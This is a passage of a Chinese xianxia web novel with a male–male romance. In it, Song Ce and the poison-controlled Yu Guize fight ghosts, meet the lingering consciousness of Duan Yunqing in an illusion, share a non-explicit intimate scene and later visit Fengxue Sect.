一路走来,留下线索牵连不断,有个信息呼之欲出,宋策说:“殊灵是天灵族。”
段云清留在鬼城中的那些奇诡的文字是灵族文字,两人关系如此特殊,灵族修炼杂而奇,阵法、丹药、巫蛊皆有所涉猎,段云清在藏书阁中留下的残阵和旧卷的种种痕迹都有着另一个人的影子。
打开极渊的阵法与天灵族有关,破开段云清留下的线索也与其有联系。
这些人都是冲着喻归泽天灵族身份来的。
“系统,喻归泽天灵族的身份没几个人知道?”宋策冷笑,反问系统,小小一个鬼城他需要防备的有心之士就不知有多少。
完成任务?做梦吧。
系统小声辩解,他觉得这不是自己的错:“是没几个知道,可能、可能也是凑巧嘛。”
“我知道神魂领域的中心在何处,但需要他作引。”楚生将视线移向喻归泽,他看着喻归泽背对着自己的身影,似乎在看一个遥远的人。
“我要看看段云清到底死了没有。”楚生倏地站起,他走至溪水边,阴沉的声音缓缓道,“那样的人,怎么能就这样死了……”
这么多年了他还是不甘心这样的人竟然死的这样轻易,毫不留恋。
“好鲜嫩的血肉啊。”
窸窸窣窣的声音如潮水一般向三人聚拢,他们都听到了这些动静,微弱星光这时已被云翳遮掩,缓缓流淌的溪水也变得漆黑,楚生回头与宋策对视,眼神警惕地环顾向四周。
“新的魂魄,嘿嘿呵呵……”
“我要从他的眼珠子开始吃……”
奸细的嗓音,熟悉的强调,在入极渊之前,他们遇上的怨灵群潮。
满含怨煞之气的鬼音在三人周围响起,宋策捻起手指正准备施法,但想到这些冤魂对灵气十分敏感便作罢,抱起昏迷不醒的喻归泽,他与楚生对视一眼,屏气悄无声息地起阵抵御。
楚生唤出剑,宋策低声说:“靠近点,我在这周围布下了传送阵。”
闻言楚生心领神会,宋策割破指尖血,一滴血珠似乎失去重力一般上升炸开,消散在法阵周围形成一道淡薄的气流旋即如雾般散开流入金光灿烂的阵法中。
“吃了他们!”
“走!”
刹那间狂舞的厉鬼拥挤着朝两人扑来,楚生挥剑射出一击,破开一只试图撕裂法阵的魇鬼,凄厉的尖啸声刺破长空。
“这些鬼物居然已经渗透至他的神域中!”
楚生满眼不可置信,他握着剑的手不断颤抖着,似乎很难接受这个事实,一双眼泛着赤色,系统看着楚生露出这种恨不得吃人的凶狠表情,难言道:“他这是干什么?至于这么生气吗?又不是他的神识领域被入侵了……”
宋策横抱着人,喻归泽的手虚搭在宋策脖颈处。
用力后的手腕上伤口已经裂开,血液渗湿宋策的衣袖浸出,空气中早已分不清是谁的血腥味。
来不及查看伤势,宋策突然顿觉颈后皮肉一阵刺痛,他皱眉低头。
喻归泽那双浅淡无神的眼瞳直直的盯着宋策的颈侧,蛛网一般的红色血丝蔓延至他的眼白包裹着眼瞳,他的手指狠狠插入宋策颈后,宋策能感受到液体正沿着脊柱往下流淌。
系统的尖叫声和炸机的电流声如期响彻在脑海中,宋策想伸手制止突然失控的喻归泽,却被打断。
喻归泽如有所预料一般轻蔑一笑,几招制止住宋策挣扎的动作,昏暗中浅瞳轻闪,眼神冰冷地盯着宋策鼓动的动脉,随后俯身轻嗅似乎在品鉴一只待宰的猎物,漠然又肆意。
他双手如铁钳一般狠厉地桎梏住宋策将他压在地上,手指深刻地卡在宋策双肩锁骨处,宋策听到了骨头在咯吱咯吱作响,胸部因身上人狠压喘不上气。
“呃……”宋策一手握着喻归泽的手腕,另一手在衣袍的遮掩下暗暗掐诀,喻归泽眼睑轻动,琉璃一般晶莹的眼瞳露出不屑,随后猛
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地在宋策肩颈狠咬,顿时血腥味蔓延在两人鼻息间,血肉撕裂的痛感打断了宋策手中的动作。
一切发生的太快,有所顾忌的楚生挥剑动作留有后手,但喻归泽却丝毫没有手下留情,他头也没有抬,抬掌掀起屏障挡开剑气,熟练地调动体内的灵气运转,虽然身体修为等级不如金丹期的楚生。
但……
喻归泽唤出灵力将宋策钉在地上,一把灵火毁掉宋策藏在身上的灵符,僵硬的眼睛机械般转动盯着露出惊诧的神色的宋策,抬起头来看着他,血液沿着喻归泽下颌滴在宋策唇边。
失去神智的狩猎者似乎很满意宋策这只猎物,他伸出猩色的舌头灵活地舔着嘴角的血液,绯色的唇微微勾起,他俯身舔舐着滴在宋策唇边的那滴血。
喻归泽施舍似的看了眼攻来的楚生,运转体内灵丹蕴含的灵力,单手结印,灵力自动在空中绘起杀阵,他不耐烦地挥袖站起另一手牵引灵力困住宋策凌空飘起。
窒息感锁紧了每一寸肌肤,宋策感觉眼前一阵阵眩晕,被喻归泽咬破的脖颈刺痛不已。
系统看着突然发狂的喻归泽,还有心情发出一声声惊叹:“宿主宿主,你快看喻归泽!”
“这是他真正的实力!我的天哪,他能一招打残楚生!”
对于神州大陆的所有生灵来说,灵丹就是天道给予灵族的金手指,就算现在喻归泽修为不如楚生,他可以运用灵丹中蕴含的灵力。
喻归泽修为倒退,这灵丹也能不断吸收灵力为他所用。
失忆后的喻归泽不会运转灵丹,但现在的他仿佛回到了巅峰时期,手中结印手势熟练又自然,甚至有些杀招连宋策也不曾见过。
“找死!”喻归泽唇吐出冰冷的声音,像是宣判了对楚生的死刑。
他淡漠的眼中溢出浅淡的杀意,看着楚生的眼神如同在看一个死物。
楚生横剑格挡犹如飓风般凶狠的攻击,煞气不断刺激着他的眼,但他还是看清了喻归泽不同寻常的灵力,跗骨追随的杀气让楚生心悸感油然而生。
“铮——”
楚生手中剑朝两边崩裂开,他被灵力火花撞飞在树上,顿觉肺腑脏器移了位,腥甜气上涌。
“呕——”楚生忙不迭擦干嘴角咳出的血。
看了眼喻归泽身后的宋策。
喻归泽轻轻落地,他破碎曳地的长袍勾着草叶,周身灵力缓缓运转重新在眼前凝聚。
他压着眼尾,眼中流露出的冷漠气息昭示着他没将楚生放在眼中,刹那间杀阵再一次聚集在楚生头顶。
冷汗瞬间沿着楚生额头滑落,他咬牙掠过喻归泽直接向宋策攻击,喻归泽清冷傲然的眼眸有一刻裂化,掠过一阵令人惊悚的杀意,灵丹的气息愈发实化,就连系统都感受到了难以控制的威压。
宋策被灵力勒住的胸口越发呼吸不上来,他凝眸瞥了眼喻归泽,眉宇间的思虑压过了痛苦的折磨,寒潭般幽深的眼瞳闪过一丝兽类的精光。
喻归泽抬掌挡开攻击,就在这千钧一发之际,楚生挥出一道幻符遮掩,一阵炫光划过夜色,待喻归泽回头再看,楚生身影早已消失。
“宋策,管好他再和我谈!”楚生含血沙哑的声音响彻林中,在朦胧的枝叶声中似乎还混杂着几声隐怒的暗骂。
“宿、宿主,他看着像要吃了你。”系统声音都在抖,他觉得这次真要死定了,喻归泽实力很强的。
宋策盯着喻归泽红丝弥补的眼,打断系统的话:“他被控制了,有人催动了蛊毒。”
破碎的衣袍拖地卷着花草,寂静的林木再次响起窸窸窣窣的声音。
56. 第五十五章
“为何要弃我?”
……
“你说啊!”
喻归泽浅色眼瞳颜色愈深,逐渐化成血红,眼白处密布的血丝包裹着他朱砂似的瞳孔,宋策被他粗暴地遏制住呼吸,灵力交织幻化的束缚让人窒息。
系统完全被吓傻了说不出一句话来,弄不清楚发生了什么,宿主到底对喻归泽做了什么?
应该没有吧?
他只是说了几句散伙话而已,还将选择权交给喻归泽自己,他这是在发什么疯?
但是这种情况下,要是发疯的喻归泽突然杀了宿主那他们就彻底完了!
说话间喻归泽身影闪现至宋策眼前,距离凑近呼吸交汇,喻归泽温热的气息喷洒在他流血的伤口处。
“说什么保护我,可你在骗我!”他目光无神但却死死“盯”着宋策的方向,眼中血色浓稠似旋涡,似乎要将人吸进去,下一瞬他“看”着宋策痛苦的样子,施法的手势微缩,眉目轻褶露出心疼的神色,浑身颤抖起来,身形脆弱的像迎风飞舞的絮。
喻归泽掐着宋策流血的脖颈,指尖扣紧伤口,还未结痂的伤处即刻流出汩汩鲜血浸透他的衣领,腥甜味似乎勾起了他失控的味蕾,他眼瞳轻动,视线流连在宋策受伤的皮肤处,凑近鼻尖轻嗅。
“呃……咳……”
系统眼看着宋策脸色从失血的苍白逐渐变得青紫,慌乱中他调出面板显示能量已恢复近百分之十。
“宿主,我……”系统顾不上什么,想劝宿主干脆花掉剩余的能量保命要紧。
宋策似乎知道系统的想法,打断道:“不用。”
是魇,宋策知道喻归泽常会做噩梦,他想也许是白日的话让他多心了。
他伸出手,胳膊像是灌铅般沉重,但却依然轻柔地勾起喻归泽散落肩侧的发丝,血液浸染下乌发交缠在指尖异常暧昧,他轻笑一声将喻归泽按在肩颈,既然言语无法让他安心只能让他切身感受到活着的气息。
喻归泽的眼睛在这一刻露出几分迷茫,眼中几经变化闪过痛苦情绪。
一根红丝出现在喻归泽心口连接着他手腕,他拉扯丝线,惹得怀中人眉眼轻皱。
喻归泽一滴泪滴在他的脖颈,带着温度的泪水似乎将他烫伤,宋策施法顿住,他咽下喉间鲜血,含糊着音色贴在喻归泽耳边轻叹:“我从未弃你不顾。”
“小仙君,你说要同我出城”,连接着喻归泽灵丹的丝丝缕缕灵力生生切割着宋策每一寸皮肉,他忍着痛唇边却含着柔软笑,“我答应了,你可不要食言。”
清风牵起两人的衣摆,耳边传来轰鸣声,脚下的土地突然震动起来,宋策眼眸微沉,暗潮汹涌,他轻眨眼睫恢复如初掩下不稳的情绪。
宋策缓缓收紧抱着喻归泽的手,鲜血沿着伤口渗出,青筋鼓动,即使喻归泽带着杀气的灵力刀锋深入骨血,也不曾松懈一毫,犹如深渊中恐怖的怪物终于捕猎到属于自己的猎物,收紧交缠的胳膊将人拥入怀中。
带着说不清道不明的狠劲将彼此融入骨血,喻归泽咬住唇下血肉,在失控中,这一次他任凭周身躁意肆意蔓延全身,渴望炙热的鲜血安抚心胸不断烧灼的煎熬,他不需要克制自己。
震动的地面从四周裂开,倾倒的树干被掀起的岩石刺破,空间也在悄然裂开数道缝隙逐渐交合形成一道能将两人吞噬的裂痕。
画面割裂开,眼前闪过无数光影,等宋策再次睁眼,所见光景已经发生变化,他们处在一颗巨大血树下,树干上不断冒出鲜血将枝叶染红,琼花如雪簌簌洒落。
喻归泽面色苍白,肢体僵硬地将宋策压在树下,细碎的花瓣落在他的肩头,宋策眯着眼伸手为他扫落残花,看着他眼瞳深色消退,但眼白处依然布满诡异的深红血丝。
“喻归泽?”
宋策叫他也毫无反应,无奈轻轻捏起他腮边软肉喊他:“能听到我说话吗?”
回复他的是喻归泽微弱的呼吸,若不是凑近仔细听,近乎察觉不到喻归泽活人的气息。
他像是陷入了待机状态,系统大气不敢喘,生怕喻归泽再次发狂。
“二位这般旁若无人的调情是为那般?”
朦胧难分的声音蓦然从四面八方传来,宋策按住喻归泽将他拉至身后,环顾四周,判断声音发出的位置。
“这位小友不必紧张”,四周景象如梦如幻,变化无穷,身前显现一朵迎风招摇的花转眼间就化作一场朦胧的烟雨。
眼前飘零的花瓣瞬息之间虚化,一缕悠风牵起喻归泽鬓边的发丝,叹息声如风般一直萦绕在耳际又像是悄然间接近。
宋策心中一紧,完全察觉不到来人是何种修为,许是这人刻意收起威压,但这种高纬度的凝视就已经让人脊背发凉,不可视不可探。
无声无息地靠近,一声追忆叹息从背后传来,宋策蓦然回身护住毫无知觉的喻归泽,但却被一道无形的屏障挡住。
“这位小友”,说话人的身形渐渐显现,却依然如云雾般迷蒙,看不清他的样子,仔细看他动作似乎在伸手抚摸喻归泽的额头,话语间流露出温和的笑意,他气息微顿说出玩笑般的话,“生的好俊俏……”
如风萧瑟的叹息声中含着微不可察的怅然和怀念。
长者安抚的语气:“灵族的孩子,受苦了。”
仿佛沐浴在日月晨曦中,经脉中灵力也随之舒缓,宋策有所感觉低头查看伤处,腕间伤痕正以肉眼可见的速度愈合。
说话人回身看向宋策:“我等你们很久了。”
感受不到威胁,宋策紧绷的精神缓和下来,心中已有答案:“你是段云清?”
他含混的声音像是夹着万千飘摇的风雨声,温润又令人心仪:“段云清早随极渊湮灭,我是他的一缕神魂意识。”
“你引我们来此到底有什么目的?”宋策眼神不定追随着那无影无踪的神识。
“你们是来寻魂丹的?”段云清反问宋策却是确定的语气,他哑然轻笑,岁月横亘在他们之间,段云清的神识言语透着对命运无常的伤怀,他挥袖转身,如一缕无形的风云旋转在两人周围。
他们身后的花树也随着他的动作摇晃,洁白的琼花从血红的枝叶上飘落像是在庆祝一场久远的相逢。
段云清的声音突然靠近。
说话间一缕灵力带着
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热意钻入喻归泽眉心流入他的四肢百骸,那些和风细雨,花香草木的清新化作无数金光四散围堵着两人,宋策来不及引出灵力防备,一股说不清道不明的燥热从小腹处涌起。
“宿主,这人不对劲”,系统都察觉到不对劲了,他看着宿主和任务对象的脸上都产生不自然的红晕,原本僵直站在一边的喻归泽这时喘着粗气。
空中不断飘零的花瓣围绕着两人旋转,宋策和喻归泽的距离被迫拉进,花瓣包裹着两人,宋策试图挣脱这无端的束缚,但视线画面逐渐被花瓣遮挡,眼前是一片雪白,他咬着牙攻击散落花瓣的树,却被持续围绕的花瓣缠住手腕。
交织缠绕的花如有生命一般灵活地穿梭在两人之间,空气中蔓延着清丽的馨香。
察觉到什么,宋策面色瞬间变得难看起来,骨髓中不断流淌的热意灼烧着他的神经,他回身看喻归泽,只见他眉眼红润,赤色眼瞳在微弱的光线映照下显出浅淡的水色。
绯色长尾从他破碎的衣摆下伸出,或许还保留着一丝浅显的意识,喻归泽垂着眼眸,踉跄着跌倒在一边,奈何花瓣围成的空间太过狭小,宋策察觉到缠着自己小腿的尾尖不断收紧。
微光之下尾巴上每一片鳞片都泛着朦胧的暖光,尾尖沿着小腿上游,搅动穿梭的花瓣持续缩小两人之间的距离,距离近到能听清两人碰撞的心跳,喘息声也随之剧烈,每一寸感官都在这昏暗的氛围中被放大。
他斜倚着,发丝黏腻着汗水如蛛网般凌乱地贴在脸侧,鼻尖晕染着红晕,斑驳的泪痕闪着晶莹的微光,眼眸无神迷茫地向宋策看来。
系统这时候似乎是想起来什么了,他记得在鬼城藏书阁,段云清就收藏了阴阳双修的秘法,这人不会是要撮合宿主和任务对象元阳交合吧?
哪有人这样的,话还没说几句就让人行周公之礼,成何体统!
还未等系统抗议,下一瞬他的意识就被拖入深度休眠中。
……
汗液滴落,察觉到空气中诡异的香味有问题,但宋策已来不及做出多余的反应,喻归泽伸手按住他的手腕,将他推至下方俯身在他脸侧轻嗅。
两人距离近到能让宋策闻到他身上浓郁的香味,混着花香钻入胸腔,如蛇般纠缠不休,绵密悠长。
宋策撤出一些神智,揉了揉喻归泽烧红的脸颊,“喻归泽?”
“嗯……”喻归泽眼神未动,将宋策的手拉至唇边,湿红的舌尖带着湿润的气息灵活地卷在宋策指缝间。
宋策会意抚弄他发热的唇瓣,摩挲着他微张的唇齿:“小仙君?”
宋策收起笑容,温柔又严肃地问,“还认得我是谁吗?”
回答宋策的是贴着他下颌的一个湿吻,温柔的气息如薄纱拂过,每一次轻微的触碰都带着颤栗,仿佛蝴蝶轻抚花瓣带着不易察觉的小心翼翼,谁都不忍打破这暴风雨前的宁静。
宋策的眼瞳如深邃的幽潭泛着涟漪,他按着喻归泽的肩膀翻身,两人位置发生转变,缠在他身上的尾巴未见松懈。
肉食动物捕猎时的幽冷荧光终于在他眼中显现,他缓和了语气叹笑:“希望你醒来后不会后悔。”
57. 第五十六章
花枝乱颤,潮湿的气息笼在上方,零落的花瓣浸着水汽,一只白皙有力的胳膊露出流畅的肌肉线条紧紧绷直,腕骨上闪着晶莹的汗液,修长的手指轻轻颤抖着,温柔地捻起一片残瓣,偏偏突然收紧的力道让他喘息声更甚,指尖花瓣抖落,快要控制不住时,手的主人轻轻咬着动作人的肩膀。
昏暗的光线模糊了人的表情,一切都在朦胧无意间发生。
唯见那双朱砂般赤红的眼瞳震颤着,破碎的水光晃动在他艳红的眼眶中,犹如羸弱的花朵盛着一汪春水摇摇晃晃,但它的主人依然执着地抱紧给予他一切的人,就像溺水的人死死抱住一块浮木贪婪地呼吸着最后一口空气,想抓住他唯一的依仗。
发丝如蛛网般凌乱地散在他身后,一双手插|入他汗湿的发中握着他的后颈,也许是做过重活的缘故,粗壮的骨节稍收紧就将怀中人钉死在方寸之间。
泛着荧光的灵丹悬在他们上方,温暖的灵力从两人周身逸散开,经脉丹田中始终莹润着充裕的灵气,令人舒适的光晕温柔地包裹着他们。
昏暗的空间中孕育着暧昧不清的氛围,说不清道不明的思绪乱絮一样缠绕心头。
背后传来刺痛感让宋策目光清醒一瞬,他将视线从那抹耀眼的光芒移开,低头捻起散落的一缕青丝安抚着不安的人。
“我说了我不嫁,你们把我抓回来也没用!”
少女清丽的声音中含着恼怒的情绪。
声音不算大却依然有些刺耳,一阵碰撞打翻了宋策手边的茶杯,淡色的茶液打湿他的手。
他目光恍惚,无意识地盯着自己的手,舒展手掌。
眼前的手修长分明,没有过分粗糙,指腹无茧,骨节正常无畸斜,小指也能凭意志活动。
听着耳边少女音调显高的声音,他目光渐清明回过神来。
已经过去三百年了,他有时还会失神,似乎下一秒灵魂就会脱离身体消散天地,有种不属于任何时空的错觉。
“你别和你爹一吵架就往这里跑。”九婴挥扇裆下许长岁的动作,无奈摇摇头。
九婴回身看着宋策,却发现他一直沉默地盯着自己的手,有些奇怪地点扇扫干洒落的水。
“公子?”
“没事。”
九婴只能感慨他们不走运,经过云州城时想收拾一下陈年往事,没成想遇上御灵海和天衍宗那些人。
来参宴,却正好碰上逃婚的新娘。
“你能不能避避嫌。”
九婴不知道该说些什么,掌门不舍得将许长岁困在屋子里,这姑娘自云州城后就直接不把他们当外人了,没事总来找他们,不知道的还以为是他们把人给窜托跑了。
“放心放心,一人做事一人当,我爹知道我是什么性子,他不会随意怪罪旁人的。”
周百岁本名许长岁,父姓周,她随母姓。
许长岁大喇喇地坐下,拿起宋策对面的茶壶给自己到了一杯。
她支着脑袋,衣袖滑落露出一截小臂,突然她眼神一变,“嘭”地放下茶杯:“我爹在镯子上下了禁制,肯定是因为我用了灵镯他才找到我的!”
她狠拍脑袋,满脸懊悔:“我怎么就没想到呢!”
下一秒她面上瞬间堆着笑,转头看着宋策。
虽说在上仙界中她见过不少风流倜傥清俊不羁的人物,但乍一看这张脸,还是免不得呼吸微滞。
云州城中这两人都做了伪装,当时情况紧急,现在仔细看来,无端有些怯场。
她也能理解,长成这样在外确实比较惹人注目,还是稍作伪装比较好。
“这——莫前辈,我之前在云州城不该误会你,是我无礼了。”说着她起身向他行礼,风度翩然不卑不亢颇有风范。
系统忍不住吐槽,宿主安着莫远行的名号在外招摇撞骗,当事人知道吗?
宋策没搭理系统,许长岁也算是帮了他们,根本不算什么事,他不懂许长岁在搞什么名堂。
九婴看着这小丫头郑重其事地行礼道歉有些忍俊不禁。
“好说好说,出门在外,好友遍交嘛。”
九婴倒是很无所谓地笑着打趣,手中折扇有节奏地轻拍手掌。
“你这闹得不可开交,你爹的请帖早已下到九州,到时候恐怕不是你能左右的了。”
面对宋策的质疑,许长岁倒是很无所谓地摆摆手:“虽然我人在风雪门,但新郎不在啊,我师兄外出处理急务了。”
“我看这婚也结不成,到时候我再找个机会跑就是了。”
听她这语气,宋策倒是被他勾起了好奇心:“婚姻大事居然也能随意?难道他不会提前推掉其余繁务。”
许长岁露出几分尴尬神色,难言道:“呃……我师兄一直被当做掌门人选培养的,他一直很忙。”
“这次他出去这么久,应该是有比较重要的事情,婚礼这种事其实也没那么重要的。”
风雪门向来不太重视这类繁文缛节,以前她就听说她爹和她娘的结契大礼也没有很隆重,一切从简。
她黛色柳眉轻皱,不知道她爹发什么疯居然搞这么大阵仗,学着一些世家做派兴师动众的。
宋策想起这位掌门,很是稳重严肃的一个人,说起来他也不是第一次见他,百年前这位掌门曾于他有一恩,不然他今日也不会特意跑这么远来参宴。
云州城中看见许长岁时他就知道这是当年那个古灵精怪的小姑娘,捏着喻归泽掉落的鳞片眨着眼睛哥哥左哥哥右撒娇。
这么些年了还是跳脱不羁,看着一点也不像她爹。
许长岁凑近几步,似乎生怕外面看守的人听到些什么:“我劝你们还是快点走,别为了看热闹把命丢了,我看过参席名单。”
光提起这人的名字就已经让人感到惊惧,许长岁缩着脖子压低声音对宋策说:“道尊也会来,你们还是赶紧走吧。”
“道尊?”一听到这称号,宋策还没反应过来许长岁说的是谁?
看着宋策完全不在状态的样子,似乎只有自己在干着急,她瞬间哑了火:“御灵海的那位啊,就他——他!”
“我好歹有我爹照着,到时候我躲着点就好了,你们要是被他逮到我可说不准。”
“这些年谁要是坏了御灵海的好事,那可是要吃不了兜着走的!”许长岁圆睁着眼,焦急地四处踱步,她惹出来的祸事,可不能连累的风雪门。
还是将这两人支走比较保险。
宋策看上去似乎毫不在意,语气平平:“哦。”
许长岁急的要叫出来,看着宋策这毫无警觉的无所谓样子,她狠狠咬着牙耐心劝说:“下仙界我不知道,但是上仙界哪个不知道莲武道尊的威名。”
“御灵宗联合其他仙门成立天恒阁,莲武道尊就是那阁主,他早定下规矩,禁止修道者滥杀无辜贩卖‘器货’,违者当场斩杀!”
“你们偷偷将那只狐妖救了,他们不会放过你的!”
九婴抚掌大笑,看好戏一般举起扇遮面打趣:“我们?对啊,是我们——一起救了这只狐妖。”
喻归泽举扇向许长岁方向一点。
许长岁被他意有所指的动作弄得脸色一僵,她当然知道帮这两人跑路也有她的一份,要是天恒阁真的怪罪下来她也要倒霉。
看着许长岁突然萎靡的表情,九婴决定不再吓她,笑着说:“这又不是什么大事,你就放一百个心吧,届时咬死说是我们逼迫你干的。”
许长岁刚想反驳自己可不会那么没义气,却被九婴的灵力推着往门外走。
“反正你暂时也跑不了,承你情,带我们看看你们这有什么好玩的。”他手腕轻翻,扇柄在他手上转了个花,朝身后的许长岁挥挥手。
虽然她父亲不容再她乱跑,但却没有直接将关起来,只是给她下了一道禁制,还能在风雪门的地界自由活动。
风雪门位置临北,常年飘雪,修道之人并不畏冷,但依然有普通人,因此山下人着装各异,但这些人似乎见怪不怪了。
他们穿梭在行人走马中,不时还有人牵着奇珍异兽从他们身边经过,修道者与小贩交谈售卖灵器丹药,普通百姓之间买卖普通货物,这种修道者与凡人相安无事的样子很是少见。
虽然各仙门世家嘴上说着终生平等,不分贵贱,但实际
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上在划分地界时往往占据着最优势的位置,将普通人和修道者区分开,若不是有心之人管控着,上仙界和下仙界又有什么区别,枉顾人命肆意残杀凡人的事情多得很。
九婴有些新奇地看着这祥和的场景感叹:“难得。”
“宿主,你再考虑一下嘛。”
宋策忍不住嗤笑,早知道系统憋不住一点事,这才几天又来劝他做任务了。
“你那个任务有什么可操作的空间吗?”
“你就试试嘛。”
宋策知道系统在打什么鬼主意。
“这时候你不怕喻归泽弄死我了?”
系统小声劝说:“可是不做任务最后我们还是会死啊……”
宋策敛眸转角掩入人群,他背身随手拿起一个摊位上的灵器,在摊主想扯着嗓子介绍时又若无其事地放下,几次接踵擦肩之时,身边已无人,耳边只有摊贩的吆喝和行人吵闹的交谈声。
“不是让你直接和他硬刚,我们要怀柔怀柔”,系统嘀咕,“而且喻归泽又不认得你这样子,他说不定没认出你来呢。”
为了任务,系统显然已经将云州城的事情抛之脑后了。
他心存侥幸,想着反正当初宿主出极渊之后就抹去了喻归泽的记忆,他肯定不记得宿主这张脸,实在不行到时候打死不认直接跑路。
宋策不知道系统天真的想法,目光看着天边浓稠的云霞上,街道上的人群却越发多起来,他未作任何伪装,一身浅色衣袍,长衫飘逸金线滚边,身量高挑挺拔,远远看去似乎与众人隔着一道无形的屏障。
他眉目温润,唇色浅淡,不笑时看着清冷矜贵,稍作一丝表情唇边总若有若无地挂着笑意亲切惑人,让明眼人心生好感。
他留步在一侧,不时有人侧目打探,好奇地窥视这人,都以为是哪个世家出生的公子或是附近风雪门中的弟子,不似凡人。
宋策随手将手中灵石丢在卖酒的摊位上,挑一壶酒懒散地继续走。
难得有心情搭理系统几句。
挑挑拣拣回复:“是吗,你去绑定喻归泽试试,他救世心泛滥肯定会答应的。”
浊酒入喉,火辣灼烧感刺痛着咽喉,入肺后只觉得心胸烫的厉害,藏山果酿制的酒能留存一丝灵气已是不错,宋策连喝几口。
“怀柔,怎么个怀柔法?”
“哄着他?”
“还是继续骗他。”虽然酒气不上头,但风雪城的寒风裹着霜雪吹过脸颊,尘世的烟火气和人声鼎沸的喧嚣声让宋策觉得自己有些醉了。
“你觉得他还那么好骗?”宋策的语气中满满是对系统天真的嘲弄。
系统被宋策这种躺平无所谓的态度搞的不知道该说些什么了。
宿主明明知道自己是什么意思,他严重怀疑宋策故意装作听不懂。
舌头裹着酒在口中卷了卷,喉咙滚动咽了口酒,他散步一般寻了处不起眼的馆子落座。
“哄人不会,骗人不妥”,宋策指尖轻敲桌面,带着不易察觉地冷意,玩笑般说,“不如——”
“算了算了!”
好歹和宿主相处够久,每当宋策眉眼松弛,眼瞳泛着兽类的冷光,语气轻松地说玩笑话时,他就知道宿主没憋什么好的。
他立马打断宋策的想法,还是再等等吧,做任务不急于一时,要是宿主乱搞不把命当回事儿,他也要跟着玩完。
不用回主世界了,收拾收拾入赛博坟墓安息吧。
当初做支线任务时,完成点都和修复喻归泽灵丹有关。
主线任务提示关键人物是喻归泽,这次就是遇上喻归泽才更新了主线内容,说不定接近喻归泽就能解锁更多内容呢。
但一想到宿主做事毫无顾忌,系统就歇了火,一切还是从长计议。
宋策指尖有节奏地敲击着桌面,仿佛在自言自语。
“这也不行,那也不可,你想怎么样?”
“哪有那么多久别重逢……”
料峭寒风轻抚面颊,撩起他散落的发丝,他微眯眼睑看向远方,低矮交错的屋顶之后是高耸巍峨的雪山,霞光倾泻,高山浮金,流光溢彩。
58. 回忆·现实
“宿主,你怎么能这样,任务对象不是你对象,你怎么能——”
“任务有进度吗?”宋策冷静地擦掉无名指的鲜血。
看着收起的最后一点灵力光辉融入喻归泽的额心,宋策满意地摸了摸他的脸。
系统欲言又止还是被堵住了嘴:“有是有,但是——”
不知道为什么,宿主这样做是有利于任务进度,但是——
“那就闭嘴。”
“宋哥,我好像要突破了。”喻归泽扶着宋策的胳膊站起。
虽然眼睛没有恢复但是他能感觉到身体有些东西不一样了,他伸手虚空摸索着身边,感受着经过身边的每一缕风,鼻尖嗅到的每一丝花香都有所变化。
身上的骨头舒展开发出轻微的颤音,他能感受到体内缓缓运转的灵丹中心有一条细小的裂痕,灵根中循环往复的灵力不断往静脉中运送灵力。
“时间不多了,你们要离开了。”
那缥缈的声音从远处飘摇而来,似乎是等了很久,他慵懒地打了个哈切。
“幻境也快散了。”他虚幻的身影渐渐涣散。
“今日受恩于前辈,不知前辈可有什么未了的心愿”,喻归泽向那层虚影行礼,神情拘谨但想了想还是说,“晚辈势微,也许帮不了前辈太多,但若是将来有机会定会报答今日恩情。”
“岁月千年,外面恐怕早已换了一副天地,故人也许早已忘却。”
段云清的神识陷入某种回忆中良久才怅然道:“我只是他的一缕神识,也许有过遗愿吧,但也记不清了。”
“段云清!”
“你果然死了!”剑气破开参天的花树,尘硝四起,一个黑影从烟雾走进,残败的花随风飞扬落了他满身。
临近时,楚生收了剑刃,敛起满身的凶煞之气,挥袖散开眼前的烟云。
语气不似开始的狠意:“竟死的这样轻易。”
系统抱着看戏的姿态,好奇道:“楚生竟然认得段云清,好像还是很熟的样子。”
“不过人段云清认不认得他就不知道了。”
许是想到什么系统有些欢愉地补充道:“宿主,既然段云清的信息能在资料中显示,说明他的身世可能和任务沾边,补充他的背景设定,可是有能量涨的哦。”
“今日竟然这般热闹”,他的声音像是从远方传来,逐渐变得细微空灵,话语间带着轻松婉转的笑意,“不过不管是寻仇还是寻情,现在的我我怕是再难给你答复了。”
“一缕神识可记不得什么事情了。”他转身坐在巨大的树干上,小孩子似摇晃着自己垂下的半截腿。
若是能看清他的脸,定然能发现他此时的表情是惬意舒缓的。
楚生利落地挽花收剑,他抬起头看着树上那缕单薄的影子。
半晌他才开口:“段少主,我只是来看看你。”
“看看你死的怎么样了。”
他自言自语道,不期待段云清的回复了:“好久不见。”
“虽不知道我与阁下有何关系,但既然来看我”,他缓慢的音色带着无所察觉地叹息,“未来光明灿烂,希望道友不要过分追究往事。”
段云清身形单薄地融化在花树烟云中,他声音渐缓。
“若是往后能与段家有所交涉,劳烦道友帮我看看段家小公子……”
段云清仰躺在树干上,看着树上不断滑落的残花,他好似睡着了似的,声音逐渐变小像是一朵花瓣落入水面,悄无声息地随风而去。
一场百年痴妄一场幻梦,人生岁月不断变迁,宋策失神地抬手触碰着周围如颗粒一般消散的场景,果真如幻梦一般。
犹如昨日,一切都虚幻地不真实。
炼狱的火焰从几人脚底窜起,数仗烈焰直冲面门,狰狞面目全非的鬼物从四面八方涌来。
喻归泽警惕地靠近宋策将他拦在自己身后护着。
他熟练地唤起掌心灵力,一声悠扬的哨声从八方传来。
宋策看向周围突然转变的场景,高涨的崖壁四面围堵他们,他们站在一处崖壁的洞口,脚底是炙热的岩浆和蓬勃的热浪。
喻归泽的眼围着的白绫随风飘扬,猩红的热气蒸腾而上裹挟着那抹白消失在热浪中。
“抓住他,他是灵族人!”
招摇的气浪向两边四散开,地底下的魂魄挣脱束缚像是从一层黏膜中脱胎而出的新生儿,黏腻血腥地暖巢中爬出来。
“他是灵族,他是灵族!”
他能救我们!
像是在灭顶的绝望中抓住最后一丝希望,他狰狞地向喻归泽这边涌上来。
“救救我们!”
“我还不想死!”
……
毫无征兆,即使看不见眼前的炼狱,他却能在烦乱的灵力波动中感受到一股从地下传来的灵气呼应,宋策按住喻归泽的手让他不要轻举妄动,但却被他轻轻往后一推。
喻归泽指尖抵着他的胸膛,修长的指节从他胸前一划一股暖流瞬间沿着经脉流向他四肢百骸,他双眼无神却依然温柔地笑着:“宋哥,你在这里等我。”
腕部稍稍用力将他推到保护范围之内,后退一步转身走向悬崖峭壁之上。
段云清那时靠近的声音还回响在耳边。
“小仙君,我赐你一场造化,但能不能出去还得看你自己。”那不明确的心悸带着他无法言明的熟悉感,也许在很久以前就收到了它的呼唤。
他能感受到极渊灵脉的召唤,在深处呻吟。
